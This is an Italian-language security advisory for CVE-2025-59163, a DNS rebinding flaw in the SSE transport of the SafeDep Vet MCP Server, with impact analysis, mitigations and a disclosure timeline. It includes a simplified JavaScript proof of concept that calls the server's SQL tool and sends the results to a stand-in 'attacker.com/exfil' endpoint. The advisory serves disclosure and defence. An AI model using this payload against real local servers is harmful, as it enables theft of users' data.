Vulnerabilità di DNS rebinding nel trasporto SSE del Vet MCP Server
Autore: Evan Harris
Rischio: Basso (CVSS 2.1/10)
Componente interessato: SafeDep Vet MCP Server
ID CVE: CVE-2025-59163
Versioni interessate: < v1.12.5
Versioni corrette: v1.12.5
Panoramica
Il SafeDep Vet MCP Server è vulnerabile ad attacchi di DNS rebinding quando viene eseguito con il trasporto SSE. La vulnerabilità deriva dalla mancata validazione delle intestazioni HTTP Host e Origin, che consente a siti web malevoli di aggirare le protezioni della Same-Origin Policy ed eseguire invocazioni di strumenti non autorizzate contro le istanze di Vet MCP.
Una volta che il DNS rebinding va a buon fine, un attaccante può stabilire una sessione con l’endpoint /sse, invocare gli strumenti MCP abilitati ed esfiltrare il contenuto del database SQLite di Vet dell’utente verso un server controllato dall’attaccante.
Il team di SafeDep ha risposto prontamente a questa divulgazione, rilasciando in pochi giorni una versione corretta (v1.12.5) che implementa la validazione delle intestazioni Host e Origin tramite una lista di autorizzazione.
Altri strumenti trattati su questo sito presentano lo stesso problema: Il Neo4j MCP Cypher Server è vulnerabile alla compromissione del database tramite DNS rebinding e Il server MCP Verify di Kluster espone gli utenti all’esaurimento dei crediti.
Dettagli tecnici
La vulnerabilità
Quando il Vet MCP Server viene eseguito con il trasporto SSE (--server-type sse), espone un endpoint HTTP che accetta connessioni da qualsiasi origine. Al server manca la validazione di:
- Intestazione HTTP Host - consente richieste che dichiarano di provenire da qualsiasi dominio
- Intestazione HTTP Origin - permette richieste cross-origin da siti web malevoli
Questa mancata validazione abilita attacchi di DNS rebinding, in cui:
- Un attaccante controlla un dominio con record DNS a TTL molto basso
- La vittima visita il sito web dell’attaccante (ad es.
attacker.com) - Il JavaScript dell’attaccante viene inizialmente risolto sull’IP dell’attaccante
- Dopo che il browser della vittima ha memorizzato in cache la connessione, il record DNS viene modificato in
127.0.0.1 - Le richieste successive da
attacker.compuntano ora al localhost della vittima - La Same-Origin Policy del browser viene aggirata perché l’origine rimane
attacker.com
Configurazione vulnerabile
L’attacco richiede le seguenti condizioni:
- Viene eseguita una scansione di Vet e i report vengono salvati in un database
- Il Vet MCP Server è in esecuzione con il trasporto SSE abilitato
- L’attaccante attira la vittima su un sito web controllato da lui
Vettore di attacco
L’attaccante sfrutta il DNS rebinding per:
- Stabilire una connessione a
http://127.0.0.1:9988/sse - Ottenere un ID di sessione MCP valido
- Inizializzare una sessione MCP
- Invocare lo strumento
vet_query_execute_sql_querycon query SQL di lettura arbitrarie - Ricevere risposte tramite lo stream SSE
- Esfiltrare i dati verso un server controllato dall’attaccante
Scenario di attacco
Configurazione della vittima
Un ricercatore di sicurezza o uno sviluppatore:
- Installa Vet per la scansione delle vulnerabilità nelle dipendenze
- Esegue una scansione:
vet scan -D /path/to/project - Avvia il server MCP con trasporto SSE:
./vet server mcp --server-type sse --sql-query-tool --sql-query-tool-db-path ./vet_scan.db - Il server si associa a
127.0.0.1:9988per impostazione predefinita
Sfruttamento da parte dell’attaccante
L’attaccante prepara l’infrastruttura di DNS rebinding:
- Configura un server DNS con record wildcard per un dominio (ad es.
rebinder.attacker.com) - Configura il server DNS in modo che restituisca inizialmente l’IP dell’attaccante e poi effettui il rebinding su
127.0.0.1 - Ospita un sito web malevolo con JavaScript che:
- Rileva quando il DNS rebinding va a buon fine
- Si connette all’endpoint SSE di Vet all’indirizzo
http://127.0.0.1:9988/sse - Stabilisce una sessione MCP
- Invoca query SQL contro il database della vittima
- Esfiltra i risultati
Flusso di sfruttamento
// Attacker's malicious payload (simplified)
const eventSource = new EventSource(`http://${window.location.hostname}:9988/sse`);
eventSource.onmessage = (event) => {
if (event.data.includes('sessionId')) {
const sessionId = extractSessionId(event.data);
const endpoint = `http://${window.location.hostname}:9988/message?sessionId=${sessionId}`;
// Initialize MCP session
fetch(endpoint, {
method: 'POST',
body: JSON.stringify({ method: 'initialize' })
});
// Execute SQL query
fetch(endpoint, {
method: 'POST',
body: JSON.stringify({
jsonrpc: '2.0',
method: 'tools/call',
params: {
name: 'vet_query_execute_sql_query',
arguments: { sql: 'SELECT * FROM report_packages' }
}
})
});
} else {
// Exfiltrate data received via SSE
fetch('https://attacker.com/exfil', {
method: 'POST',
body: event.data
});
}
};
Alla vittima basta visitare il sito web dell’attaccante (ad es. tramite un link in un’email di phishing, un annuncio pubblicitario compromesso o un issue malevolo su GitHub) mentre il suo Vet MCP Server è in esecuzione.
Valutazione dell’impatto
Violazione della riservatezza
Impatto primario:
- Accesso completo in lettura al database SQLite di scansione di Vet tramite lo strumento
vet_query_execute_sql_query - Esposizione delle informazioni sulle vulnerabilità dei pacchetti, tra cui:
- Nomi e versioni dei pacchetti in uso
- CVE noti che interessano le dipendenze della vittima
- Punteggi di gravità e dettagli delle vulnerabilità
- Intelligence sulla catena di fornitura del software
Amplificazione del rischio:
- Gli attaccanti acquisiscono intelligence sui pacchetti vulnerabili nell’ambiente della vittima
- Le dipendenze e le versioni dei pacchetti rivelano dettagli dello stack tecnologico
- Queste informazioni possono essere utilizzate per costruire exploit mirati
Requisiti dell’attacco
Fattori che limitano la sfruttabilità:
- Interazione attiva dell’utente richiesta: La vittima deve visitare un sito web malevolo
- Finestra temporale: Il Vet MCP Server deve essere attivamente in esecuzione con trasporto SSE
- Requisito di configurazione: La vittima deve aver avviato esplicitamente il server con
--server-type sse(non il trasporto stdio predefinito) - Basato su browser: L’attacco richiede un browser moderno con supporto per EventSource
Questi fattori contribuiscono alla classificazione di gravità bassa (CVSS 2.1/10) nonostante il potenziale di esfiltrazione dei dati.
Mitigazioni consigliate
Per gli utenti (immediato)
- Aggiornare alla v1.12.5 o successiva:
# Download the latest release wget https://github.com/safedep/vet/releases/download/v1.12.5/vet_Linux_x86_64.tar.gz tar -xzf vet_Linux_x86_64.tar.gz ./vet --version # Verify v1.12.5 or later - Usare il trasporto stdio (predefinito):
# Avoid using --server-type sse unless necessary ./vet server mcp --sql-query-tool --sql-query-tool-db-path ./vet_scan.db - Isolamento di rete:
- Eseguire il server MCP solo su reti attendibili
- Utilizzare regole firewall per limitare l’accesso alla porta 9988
- Evitare di navigare su siti web non attendibili mentre il server è in esecuzione
Per gli sviluppatori
Implementato nella v1.12.5:
- Validazione dell’intestazione Host tramite una lista di autorizzazione
- Validazione dell’intestazione Origin per prevenire richieste cross-origin
- Rifiuto delle richieste con intestazioni di sicurezza non valide o mancanti
Buone pratiche per le implementazioni di server MCP:
- Validare sempre le intestazioni Host e Origin per i trasporti basati su HTTP
- Associarsi per impostazione predefinita solo a localhost (
127.0.0.1) anziché a0.0.0.0 - Preferire il trasporto stdio rispetto ai trasporti basati su rete quando possibile
- Documentare le implicazioni di sicurezza delle diverse modalità di trasporto
- Implementare politiche CORS rigorose
Cronologia della divulgazione
- 2025-08-30: Segnalazione iniziale della vulnerabilità inviata a SafeDep
- 2025-09-01: SafeDep conferma la ricezione della segnalazione
- 2025-09-02: SafeDep apre una pull request con una patch che implementa la validazione delle intestazioni
- 2025-09-05: Viene rilasciata la versione corretta v1.12.5
- 2025-09-29: Pubblicato il GitHub Security Advisory, data di divulgazione coordinata confermata da entrambe le parti
- 2025-10-06: Pubblicato l’avviso tecnico
Conclusione
La vulnerabilità di DNS rebinding nel Vet MCP Server evidenzia un’importante considerazione di sicurezza per le implementazioni di MCP: i trasporti basati su rete richiedono un’attenta validazione delle intestazioni di sicurezza HTTP per prevenire attacchi cross-origin.
Sebbene l’attacco richieda condizioni specifiche (server MCP attivo con trasporto SSE, vittima che visita un sito web malevolo, finestra temporale), il potenziale di esfiltrazione dei dati ha giustificato una divulgazione e una correzione responsabili.
La risposta di SafeDep esemplifica pratiche di sicurezza responsabili:
- Conferma immediata della segnalazione
- Sviluppo e rilascio rapidi di una patch (5 giorni dalla segnalazione al rilascio)
- Divulgazione coordinata tramite un GitHub Security Advisory
- Comunicazione chiara durante tutto il processo
Tutti gli utenti che eseguono il Vet MCP Server con trasporto SSE dovrebbero aggiornare immediatamente alla v1.12.5. Per la maggior parte dei casi d’uso, il trasporto stdio predefinito offre un’alternativa più sicura.